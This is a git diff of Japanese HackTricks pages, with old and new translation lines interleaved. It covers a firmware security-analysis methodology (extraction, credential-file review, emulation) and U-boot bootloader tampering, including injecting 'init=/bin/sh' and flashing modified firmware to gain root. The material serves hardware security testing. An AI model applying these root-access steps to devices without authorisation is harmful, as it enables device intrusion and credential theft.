| ⌘⇥ (Command-Tab) | 最後に使用したアプリのリストを表示 |
| ⌘\~ | 最後のアプリに移動 |
| ⌘⇧3 (Command-Shift-3) | スクリーンショット(保存またはアクションを実行するために左下にホバー) |
| ⌘⇧4 | スクリーンショットを撮影し、エディタで開く |
| ⌘を押し続ける | アプリのための利用可能なショートカットのリスト |
| ⌘⌥D (Command-Option/Alt-D) | ドックを表示 |
| ^⌥H (Control-Option-H) | ホームボタン |
| ^⌥H H (Control-Option-H-H) | マルチタスクバーを表示 |
| ^⌥I (Control-Option-i) | アイテム選択 |
| Escape | 戻るボタン |
| → (右矢印) | 次のアイテム |
| ← (左矢印) | 前のアイテム |
| ↑↓ (上矢印、下矢印) | 選択したアイテムを同時にタップ |
| ⌥ ↓ (Option-Down arrow) | 下にスクロール |
| ⌥↑ (Option-Up arrow) | 上にスクロール |
| ⌥←または⌥→ (Option-Left arrowまたはOption-Right arrow) | 左または右にスクロール |
| ^⌥S (Control-Option-S) | VoiceOverの音声をオンまたはオフにする |
| ⌘⇧⇥ (Command-Shift-Tab) | 前のアプリに切り替える |
| ⌘⇥ (Command-Tab) | 元のアプリに戻る |
| ←+→、次にOption + ←またはOption+→ | ドックをナビゲート |
### Safariショートカット
| Shortcut | Action |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Command-L) | ロケーションを開く |
| ⌘T | 新しいタブを開く |
| ⌘W | 現在のタブを閉じる |
| ⌘R | 現在のタブを更新する |
| ⌘. | 現在のタブの読み込みを停止する |
| ^⇥ | 次のタブに切り替える |
| ^⇧⇥ (Control-Shift-Tab) | 前のタブに移動する |
| ⌘L | テキスト入力/URLフィールドを選択して修正する |
| ⌘⇧T (Command-Shift-T) | 最後に閉じたタブを開く(何度でも使用可能) |
| ⌘\[ | ブラウジング履歴で1ページ戻る |
| ⌘] | ブラウジング履歴で1ページ進む |
| ⌘⇧R | リーダーモードを有効にする |
### メールショートカット
| Shortcut | Action |
| -------------------------- | ---------------------------- |
| ⌘L | ロケーションを開く |
| ⌘T | 新しいタブを開く |
| ⌘W | 現在のタブを閉じる |
| ⌘R | 現在のタブを更新する |
| ⌘. | 現在のタブの読み込みを停止する |
| ⌘⌥F (Command-Option/Alt-F) | メールボックス内を検索する |
# 参考文献
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,58 @@
# ファームウェア分析
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## **導入**
## **はじめに**
ファームウェアは、デバイスが正しく動作するための不可欠なソフトウェアであり、ハードウェアコンポーネントとユーザーがやり取りするソフトウェアとの間の通信を管理し、容易にします。デバイスが電源を入れた瞬間から重要な命令にアクセスできるように、永続メモリに保存され、オペレーティングシステムの起動につながります。ファームウェアの調査および可能な変更は、セキュリティの脆弱性を特定するための重要なステップです。
ファームウェアは、デバイスが正しく動作するために必要なソフトウェアであり、ハードウェアコンポーネントとユーザーが対話するソフトウェア間の通信を管理し、促進します。これは永続メモリに保存されており、デバイスが電源を入れた瞬間から重要な指示にアクセスできるようにし、オペレーティングシステムの起動につながります。ファームウェアを調査し、潜在的に変更することは、セキュリティの脆弱性を特定するための重要なステップです。
## **情報収集**
**情報収集**は、デバイスの構成と使用されているテクノロジーを理解するための重要な初期ステップです。このプロセスには、次のデータの収集が含まれます:
**情報収集**は、デバイスの構成と使用されている技術を理解するための重要な初期ステップです。このプロセスには、以下のデータを収集することが含まれます:
- CPUアーキテクチャと実行されているオペレーティングシステム
- ブートローダーの詳細
- ハードウェアレイアウトとデータシート
- ハードウェアレイアウトとデータシート
- コードベースのメトリクスとソースの場所
- 外部ライブラリとライセンスタイプ
- 外部ライブラリとライセンスの種類
- 更新履歴と規制認証
- アーキテクチャとフローダイアグラム
- セキュリティアセスメントと特定された脆弱性
- アーキテクチャとフローダイアグラム
- セキュリティ評価と特定された脆弱性
この目的のために、**オープンソースインテリジェンスOSINT**ツールが非常に有用であり、利用可能なオープンソースソフトウェアコンポーネントの手動および自動レビュープロセスを通じて分析することも重要です。[Coverity Scan](https://scan.coverity.com)や[Semmles LGTM](https://lgtm.com/#explore)などのツールは、潜在的な問題を見つけるために活用できる無料の静的解析を提供しています。
この目的のために、**オープンソースインテリジェンスOSINT**ツールは非常に貴重であり、手動および自動レビュープロセスを通じて利用可能なオープンソースソフトウェアコンポーネントの分析も重要です。[Coverity Scan](https://scan.coverity.com)や[SemmleのLGTM](https://lgtm.com/#explore)のようなツールは、潜在的な問題を見つけるために活用できる無料の静的分析を提供します。
## **ファームウェアの取得**
ファームウェアの取得は、それぞれ異なる複雑さレベルを持つさまざまな手段を通じてアプローチできます:
ファームウェアを取得する方法はいくつかあり、それぞれ異なる複雑さがあります:
- **ソースから**(開発者、製造業者)**直接**
- 提供された手順に従って**ビルド**する
- 公式サポートサイトから**ダウンロード**
- ホストされているファームウェアファイルを見つけるための**Googleドーク**クエリを利用する
- [S3Scanner](https://github.com/sa7mon/S3Scanner)などのツールを使用して、**クラウドストレージ**に直接アクセスする
- 中間者攻撃技術を使用して**更新**を傍受する
- **UART**、**JTAG**、または**PICit**などの接続を介してデバイスから**抽出**
- デバイス通信内の更新リクエストを**スニッフィング**
- **ハードコードされた更新エンドポイント**を特定して使用する
- ブートローダーまたはネットワークから**ダンプ**
- 適切なハードウェアツールを使用して、他の手段が失敗した場合に、ストレージチップを**取り外して読み取る**
- **ソースから直接**(開発者、製造業者)
- **提供された指示から構築**する
- **公式サポートサイトからダウンロード**する
- ホストされたファームウェアファイルを見つけるために**Google dork**クエリを利用する
- [S3Scanner](https://github.com/sa7mon/S3Scanner)のようなツールを使用して**クラウドストレージ**に直接アクセスする
- 中間者攻撃技術を介して**更新を傍受**する
- **UART**、**JTAG**、または**PICit**のような接続を通じてデバイスから**抽出**する
- デバイス通信内での更新要求を**スニッフィング**する
- **ハードコーディングされた更新エンドポイント**を特定して使用する
- ブートローダーまたはネットワークから**ダンプ**する
- すべてが失敗した場合、適切なハードウェアツールを使用してストレージチップを**取り外して読み取る**
## ファームウェアの分析
ファームウェアを**取得した**ので、それについての情報を抽出してどのように扱うかを知る必要があります。それに使用できるさまざまなツールがあります:
```bash
file <bin>
strings -n8 <bin>
@ -56,24 +61,24 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
もしそれらのツールであまり情報が見つからない場合は、`binwalk -E <bin>`で画像の**エントロピー**をチェックしてください。エントロピーが低い場合、暗号化されていない可能性が高いです。エントロピーが高い場合、暗号化されている可能性が高いです(または何らかの方法で圧縮されています
もしこれらのツールであまり見つからない場合は、`binwalk -E <bin>`を使って画像の**エントロピー**を確認してください。エントロピーが低い場合、暗号化されている可能性は低いです。エントロピーが高い場合、暗号化されている(または何らかの方法で圧縮されている)可能性があります。
さらに、これらのツールを使用してファームウェアに埋め込まれた**ファイルを抽出**することができます:
さらに、これらのツールを使用して**ファームウェアに埋め込まれたファイル**を抽出できます:
{% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
または[**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) を使用してファイルを検査できます。
または[**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/))を使用してファイルを検査できます。
### ファイルシステムの取得
以前にコメントアウトされた`binwalk -ev <bin>`のようなツールを使用すると、**ファイルシステムを抽出**できるはずです。\
通常、Binwalkは**ファイルシステムの種類と同じ名前のフォルダ**内に抽出します。ファイルシステムの種類は通常、次のいずれかですsquashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
前述のツール、例えば`binwalk -ev <bin>`を使用する、**ファイルシステムを抽出**できるはずです。\
Binwalkは通常、**ファイルシステムのタイプに名前を付けたフォルダー**内に抽出します。通常、以下のいずれかですsquashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
#### 手動ファイルシステム抽出
#### 手動ファイルシステム抽出
時々、binwalkには**シグネチャにファイルシステムのマジックバイトが含まれていない**ことがあります。そのような場合は、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し**、以下の手順に従ってファイルシステムを**手動で抽出**してください。
時々、binwalkは**ファイルシステムのマジックバイトをシグネチャに持っていない**ことがあります。この場合、binwalkを使用して**ファイルシステムのオフセットを見つけ、バイナリから圧縮されたファイルシステムを切り出し、以下の手順に従ってそのタイプに応じてファイルシステムを手動で抽出**してください。
```
$ binwalk DIR850L_REVB.bin
@ -85,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
以下の**ddコマンド**を実行して、Squashfsファイルシステムを彫刻してください
次の**ddコマンド**を実行して、Squashfsファイルシステムを切り出します
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -95,13 +100,38 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
## ファームウェアの解析
代わりに、次のコマンドを実行することもできます。
ファームウェアを取得したら、その構造と潜在的な脆弱性を理解するために解析することが不可欠です。このプロセスには、ファームウェアイメージから価値あるデータを抽出し、分析するためのさまざまなツールを利用します。
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
### 初期解析ツール
* squashfs上記の例で使用
バイナリファイル(`<bin>`と呼ばれる)の初期検査のために、以下のコマンドセットが提供されています。これらのコマンドは、ファイルタイプの識別、文字列の抽出、バイナリデータの解析、およびパーティションやファイルシステムの詳細の理解に役立ちます。
`$ unsquashfs dir.squashfs`
ファイルはその後「`squashfs-root`」ディレクトリにあります。
* CPIOアーカイブファイル
`$ cpio -ivd --no-absolute-filenames -F <bin>`
* jffs2ファイルシステム用
`$ jefferson rootfsfile.jffs2`
* NANDフラッシュを使用したubifsファイルシステム用
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## ファームウェアの分析
ファームウェアが取得されたら、その構造と潜在的な脆弱性を理解するために解剖することが重要です。このプロセスでは、さまざまなツールを利用してファームウェアイメージから貴重なデータを分析および抽出します。
### 初期分析ツール
バイナリファイル(`<bin>`と呼ばれる)の初期検査のためのコマンドセットが提供されています。これらのコマンドは、ファイルタイプの特定、文字列の抽出、バイナリデータの分析、およびパーティションとファイルシステムの詳細の理解に役立ちます:
```bash
file <bin>
strings -n8 <bin>
@ -110,66 +140,128 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
画像の暗号化状態を評価するために、**エントロピー**は`binwalk -E <bin>`でチェックされます。低いエントロピーは暗号化の不足を示し、高いエントロピーは暗号化または圧縮の可能性を示します。
画像の暗号化状態を評価するために、**エントロピー**は`binwalk -E <bin>`でチェックされます。低エントロピーは暗号化の欠如を示唆し、高エントロピーは暗号化または圧縮の可能性を示します。
**埋め込まれたファイル**を抽出するために、**file-data-carving-recovery-tools**のドキュメントやファイル検査のための**binvis.io**などのツールリソースが推奨されます。
**埋め込まれたファイル**を抽出するために、**file-data-carving-recovery-tools**のドキュメントやファイル検査のための**binvis.io**などのツールリソースが推奨されます。
### ファイルシステムの抽出
`binwalk -ev <bin>`を使用すると、通常ファイルシステムを抽出でき、ファイルシステムの種類squashfs、ubifsに基づいてディレクトリに抽出されます。ただし、**binwalk**がマジックバイトが不足しているためにファイルシステムの種類を認識できない場合は、手動で抽出する必要があります。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出す作業が含まれます。
`binwalk -ev <bin>`を使用することで、通常はファイルシステムを抽出でき、しばしばファイルシステムタイプsquashfs、ubifsにちなんだ名前のディレクトリに抽出されます。しかし、**binwalk**がマジックバイトの欠如によりファイルシステムタイプを認識できない場合、手動抽出が必要です。これには、`binwalk`を使用してファイルシステムのオフセットを特定し、その後`dd`コマンドを使用してファイルシステムを切り出ます。
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
### ファイルシステムの解析
その後、ファイルシステムのタイプsquashfs、cpio、jffs2、ubifsに応じて、異なるコマンドを使用して手動で内容を抽出します。
ファイルシステムを抽出した後、セキュリティの脆弱性を探す作業が始まります。セキュリティの脆弱性を見つけるために、不安定なネットワークデーモン、ハードコードされた資格情報、APIエンドポイント、更新サーバー機能、未コンパイルのコード、起動スクリプト、オフライン解析用のコンパイルされたバイナリに注意が払われます。
### ファイルシステム分析
検査すべき**主要な場所**と**アイテム**には次のものがあります:
ファイルシステムが抽出されると、セキュリティの欠陥を探し始めます。注意が払われるのは、安全でないネットワークデーモン、ハードコーディングされた資格情報、APIエンドポイント、アップデートサーバーの機能、未コンパイルのコード、スタートアップスクリプト、およびオフライン分析用のコンパイル済みバイナリです。
- ユーザーの資格情報のための**etc/shadow**と**etc/passwd**
- **etc/ssl**内のSSL証明書とキー
- 潜在的な脆弱性のための構成ファイルとスクリプトファイル
- 追加の解析のための埋め込みバイナリ
- 一般的なIoTデバイスのWebサーバーとバイナリ
**確認すべき主要な場所**と**項目**には以下が含まれます:
ファイルシステム内の機密情報や脆弱性を明らかにするのに役立ついくつかのツールがあります:
- **etc/shadow****etc/passwd** のユーザー資格情報
- **etc/ssl** のSSL証明書とキー
- 潜在的な脆弱性のための設定ファイルとスクリプトファイル
- さらなる分析のための埋め込まれたバイナリ
- 一般的なIoTデバイスのウェブサーバーとバイナリ
- 機密情報の検索のための[**LinPEAS**](https://github.com/carlospolop/PEASS-ng)と[**Firmwalker**](https://github.com/craigz28/firmwalker)
- 包括的なファームウェア解析のための[**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core)
- 静的および動的解析のための[**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go)、および[**EMBA**](https://github.com/e-m-b-a/emba)
いくつかのツールがファイルシステム内の機密情報や脆弱性を明らかにするのを助けます:
### コンパイルされたバイナリのセキュリティチェック
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) と [**Firmwalker**](https://github.com/craigz28/firmwalker) の機密情報検索
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) の包括的なファームウェア分析
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer)、[**ByteSweep**](https://gitlab.com/bytesweep/bytesweep)、[**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go)、および [**EMBA**](https://github.com/e-m-b-a/emba) の静的および動的分析
ファイルシステム内で見つかったソースコードとコンパイルされたバイナリの両方は、脆弱性を検査する必要があります。Unixバイナリ用の**checksec.sh**やWindowsバイナリ用の**PESecurity**などのツールを使用して、悪用される可能性のある保護されていないバイナリを特定するのに役立ちます。
### コンパイル済みバイナリのセキュリティチェック
## ダイナミック解析のためのファームウェアのエミュレーション
ファイルシステム内で見つかったソースコードとコンパイル済みバイナリは、脆弱性のために精査されなければなりません。Unixバイナリ用の**checksec.sh**やWindowsバイナリ用の**PESecurity**のようなツールは、悪用される可能性のある保護されていないバイナリを特定するのに役立ちます。
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**ダイナミック解析**を可能にします。このアプローチはハードウェアやアーキテクチャの依存関係に関する課題に直面する可能性がありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piなどのアーキテクチャとエンディアンが一致するデバイスや、事前に構築された仮想マシンに転送することで、さらなるテストを容易にすることができます。
## 動的分析のためのファームウェアのエミュレーション
ファームウェアをエミュレートするプロセスは、デバイスの動作または個々のプログラムの**動的分析**を可能にします。このアプローチは、ハードウェアやアーキテクチャの依存関係に関する課題に直面することがありますが、ルートファイルシステムや特定のバイナリを、Raspberry Piのような一致するアーキテクチャとエンディアンネスを持つデバイスや、事前構築された仮想マシンに転送することで、さらなるテストを促進できます。
### 個々のバイナリのエミュレーション
単一のプログラムを調査するために、プログラムのエンディアンとCPUアーキテクチャを特定することが重要です。
単一のプログラムを調査するために、プログラムのエンディアンネスとCPUアーキテクチャを特定することが重要です。
#### MIPSアーキテクチャの例
MIPSアーキテクチャのバイナリをエミュレートするには、次のコマンドを使用できます:
MIPSアーキテクチャのバイナリをエミュレートするには、次のコマンドを使用できます
```bash
file ./squashfs-root/bin/busybox
```
そして、必要なエミュレーションツールをインストールします:
必要なエミュレーションツールをインストールするには:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
### MIPSアーキテクチャのエミュレーション
For MIPS (big-endian)、`qemu-mips`が使用され、リトルエンディアンバイナリの場合は`qemu-mipsel`が選択されます。
MIPSビッグエンディアンの場合、`qemu-mips`が使用され、リトルエンディアンバイナリの場合は`qemu-mipsel`が選択されます。
#### ARMアーキテクチャエミュレーション
### ARMアーキテクチャのエミュレーション
ARMバイナリの場合、`qemu-arm`エミュレータが使用されます。
ARMバイナリの場合、プロセスは似ており、エミュレーションには`qemu-arm`エミュレーターが利用されます。
### フルシステムエミュレーション
[Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)などのツールは、フルファームウェアエ
[Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)などのツールは、フルファームウェアエミュレーションを容易にし、プロセスを自動化し、動的分析を支援します。
## 実践における動的分析
この段階では、実際のデバイス環境またはエミュレートされたデバイス環境が分析に使用されます。OSとファイルシステムへのシェルアクセスを維持することが重要です。エミュレーションはハードウェアの相互作用を完全に模倣できない場合があるため、時折エミュレーションを再起動する必要があります。分析はファイルシステムを再訪し、公開されたウェブページやネットワークサービスを悪用し、ブートローダーの脆弱性を探るべきです。ファームウェアの整合性テストは、潜在的なバックドアの脆弱性を特定するために重要です。
## 実行時分析技術
実行時分析は、gdb-multiarch、Frida、Ghidraなどのツールを使用して、プロセスまたはバイナリとその動作環境で相互作用し、ブレークポイントを設定し、ファジングやその他の技術を通じて脆弱性を特定します。
## バイナリの悪用と概念実証
特定された脆弱性のPoCを開発するには、ターゲットアーキテクチャの深い理解と低レベル言語でのプログラミングが必要です。組み込みシステムにおけるバイナリ実行時保護は稀ですが、存在する場合は、リターンオリエンテッドプログラミングROPなどの技術が必要になることがあります。
## ファームウェア分析のための準備されたオペレーティングシステム
[AttifyOS](https://github.com/adi0x90/attifyos)や[EmbedOS](https://github.com/scriptingxss/EmbedOS)のようなオペレーティングシステムは、必要なツールを備えたファームウェアセキュリティテストのための事前構成された環境を提供します。
## ファームウェアを分析するための準備されたOS
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOSは、IoTデバイスのセキュリティ評価とペネトレーションテストを支援することを目的としたディストリビューションです。必要なツールがすべてロードされた事前構成された環境を提供することで、多くの時間を節約します。
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): ファームウェアセキュリティテストツールがプリロードされたUbuntu 18.04に基づく組み込みセキュリティテストオペレーティングシステムです。
## 実践用の脆弱なファームウェア
ファームウェアの脆弱性を発見する練習をするために、以下の脆弱なファームウェアプロジェクトを出発点として使用してください。
* OWASP IoTGoat
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
* The Damn Vulnerable Router Firmware Project
* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
* Damn Vulnerable ARM Router (DVAR)
* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
* ARM-X
* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
* Azeria Labs VM 2.0
* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
* Damn Vulnerable IoT Device (DVID)
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## 参考文献
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## トレーニングと認証
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
デバイスの起動構成やU-bootなどのブートローダーを変更するために推奨される手順は次のとおりです:
デバイスの起動設定やブートローダーU-bootなどを変更するための推奨手順は以下の通りです:
1. **ブートローダーのインタープリターシェルにアクセス**
- 起動中に "0"、スペース、または他の特定の "マジックコード" を押して、ブートローダーのインタープリターシェルにアクセスします。
1. **ブートローダーのインタプリタシェルにアクセス**:
- ブート中に「0」やスペース、または他の特定された「マジックコード」を押してブートローダーのインタプリタシェルにアクセスします。
2. **ブート引数の変更**
2. **ブート引数の変更**:
- 以下のコマンドを実行して、ブート引数に '`init=/bin/sh`' を追加し、シェルコマンドを実行できるようにします:
%%%
#printenv
@ -26,8 +27,8 @@ HackTricksをサポートする他の方法
#boot
%%%
3. **TFTPサーバーの設定**
- ローカルネットワーク経由でイメージをロードするためにTFTPサーバーを構成します:
3. **TFTPサーバーの設定**:
- ローカルネットワーク経由でイメージをロードするためにTFTPサーバーを設定します:
%%%
#setenv ipaddr 192.168.2.2 #デバイスのローカルIP
#setenv serverip 192.168.2.1 #TFTPサーバーのIP
@ -37,20 +38,36 @@ HackTricksをサポートする他の方法
#tftp ${loadaddr} uImage-3.6.35 #loadaddrはファイルをロードするアドレスとTFTPサーバー上のイメージのファイル名を取ります
%%%
4. **`ubootwrite.py`の利用**
- `ubootwrite.py`を使用してU-bootイメージを書き込み、ルートアクセスを取得するために変更されたファームウェアをプッシュします。
4. **`ubootwrite.py`の利用**:
- `ubootwrite.py`を使用してU-bootイメージを書き込み、ルートアクセスを得るために修正されたファームウェアをプッシュします。
5. **デバッグ機能の確認**
- デバッグ機能が有効になっているかどうかを確認します。詳細なログ記録、任意のカーネルの読み込み、または信頼されていないソースからのブートなど
5. **デバッグ機能の確認**:
- 詳細なログ記録、任意のカーネルのロード、または信頼できないソースからのブートなどのデバッグ機能が有効かどうかを確認します
6. **注意深いハードウェア干渉**
